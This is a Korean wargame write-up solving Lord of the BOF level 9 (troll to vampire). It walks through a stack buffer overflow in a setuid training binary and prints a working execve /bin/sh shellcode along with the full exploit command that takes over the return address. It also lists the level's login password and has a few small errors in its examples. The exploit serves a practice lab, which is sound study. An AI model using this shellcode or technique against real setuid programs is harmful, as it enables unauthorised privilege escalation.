BOF/ LOB-level9(troll)

LOB란 The Lord of the BOF의 약자로 Buffer over-flow를 연습해 볼 수 있는 해킹문제이다.
총 20문제로 구성되어 있으며 각 문제를 격파하여 다음 레벨의 패스워드를 얻는 형식이다.
문제를 격파하고 다음 레벨의 bash를 획득하였다면 my-pass로 패스워드를 확인할 수 있다.

send me email if you have any questions.

LOB Level 9(troll)

ID : troll
PASSWD : aspirin

$ bash2

풀이 시작 전에 bash2로 꼭 변경
bash는 \xff를 \x00(NULL)로 인식하여 제대로 문제를 풀 수 없다.

사용자 vampire의 권한의 vampire파일이 있음을 확인할 수 있다.
set-uid가 걸려있으므로 사용자 vampire의 권한으로 파일을 실행할 수 있다.
vampire파일이 쉘을 실행시키도록 한다면 사용자 vampire의 쉘을 획득할 수 있다.

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/*
        The Lord of the BOF : The Fellowship of the BOF
        - vampire
        - check 0xbfff
*/

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
        char buffer[40];

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }
.
        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        // here is changed!
        if(argv[1][46] == '\xff')
        {
                printf("but it's not forever\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
}

vampire.c

소스분석

1. argc가 2보다 작다면 “ergv error”을 출력하고 프로그램을 종료한다.
   argc란? - 파라미터의 개수를 의미한다. 즉 main에 최소 2개이상의 인자를 전달하여야 한다.
   LOB(level5)와 같이 argv[2]를 이용한 공격 불가
2. argv[1][47]의 값이 \xbf가 아닌경우 “stack is still your friend” 출력 후 프로그램 종료
   RTL기법 사용 불가 What is RTL? - LOB(level13)
3. argv[1][46]의 값이 \xff인 경우 “but it’s not forever”를 출력하고 프로그램 종료
   argv[1][44]~argv[1][47]은 RET에 변조될 값인데 지금까지 bof시키던 주소값들은 bfffxxxx의 형식이였다.
   즉, 주소값을 조작할 방법을 찾아야 한다.
4. main에 전달받은 인자 argv[1]을 buffer에 복사하여 출력(argv[0]은 파일명)
   strcpy함수는 복사할 데이터의 크기제한이 없기 때문에 argv[1]이 40Byte보다 크다면 buffer-overflow가 발생하는 취약점이 있다.

Solution

LOB(level5)와 비슷하게 argv[2]를 이용해 공격.
스택은 높은 주소에서 낮은 주소로 자란다. -> argv[2]가 argv[1]보다 먼저 stack에 저장되기 때문에 argv[2]에 많은 값을 삽입하면 argv[1]의 주소가 낮아지게 될 것이다.

level9에서 사용한 쉘코드

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
25Byte

buffer over-flow를 이용하기 위해서는 프로그램 Stack의 구조를 알아야 한다.

SFP(Stack frame pointer) - 이전 함수의 EBP주소를 담고 있다.
(EBP - 스택의 가장 바닥을 가리키는 포인터)
RET(Return Address) - 함수가 종료시 return될 주소

debugging

권한문제가 없도록 gremlin를 복사하고 gdb를 사용하여 intel방식으로 디스어셈블 한다.

main함수 disassemble.

main함수 종료 전에 breakpoint를 걸고 인자를 전달해보았다.
전달한 인자(argv[0])가 0xbfff~범위에 있음을 확인

argv[2]에 A를 20000개 전달하였더니 argv[1]의 주소가 낮아진것을 확인
A를 20000개 전달했을 때, argv[1]주소 -> 0xbfffae08
하지만 여전히 bfff의 형식임.

argv[2]에 AAAA를 20000개 전달하였더니 argv[1]의 주소가 낮아진것을 확인
A를 20000개 전달했을 때, argv[1]주소 -> 0xbffec3a8

argv[1]주소확인

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/*
        The Lord of the BOF : The Fellowship of the BOF
        - vampire
        - check 0xbfff
*/

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
        char buffer[40];

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }
.
        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        // here is changed!
        if(argv[1][46] == '\xff')
        {
                printf("but it's not forever\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
        printf("%p\n", argv[1]);
}

vampire.c를 복사하여 소스 추가 -> printf(“%p\n”, argv[1]);

정확한 주소 체크. -> 0xbffec3a6

Attack

argv[1]의 주소와 스택의 구조를 파악하였으므로 공격을 시도할 수 있다.
./vampire + [ShellCode] + [dummy] + [argv[1]주소]의 형태로 공격.
이 때 ShellCode + dummy값의 길이는 buffer의 길이 + sfp(4byte)만큼 즉 44Byte여야 한다.
또한 RET에 덮을 argv[1]의 주소는 리틀 엔디안 방식으로 기입한다.

리틀 엔디안은 최 하위 바이트 부터 저장하는 방식이다.
ex) 0xbffffc11을 리틀 엔디안 방식으로 저장하면 11cfffbf가 된다.
보통 엔디안 방식은 CPU 아키텍쳐에 따라 다르지만 intel x86, x64, AMD 계열은 리틀엔디안, 모토로라 프로세서들은 빅엔디안을 사용한다.
현재 시스템의 엔디안방식을 확인하고 싶다면 echo -n I | od -to2 | head -n1 | awk’{print $2;}’ | cut -c6
명령으로 나오는 값이 1이라면 리틀 엔디안, 0이라면 빅엔디안이다.

공격 성공.

페이로드

$ ./vampire `python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80' + 'A' * 19 + '\xa6\xc3\xfe\xbf'"` `python -c "print 'AAAA' * 20000"`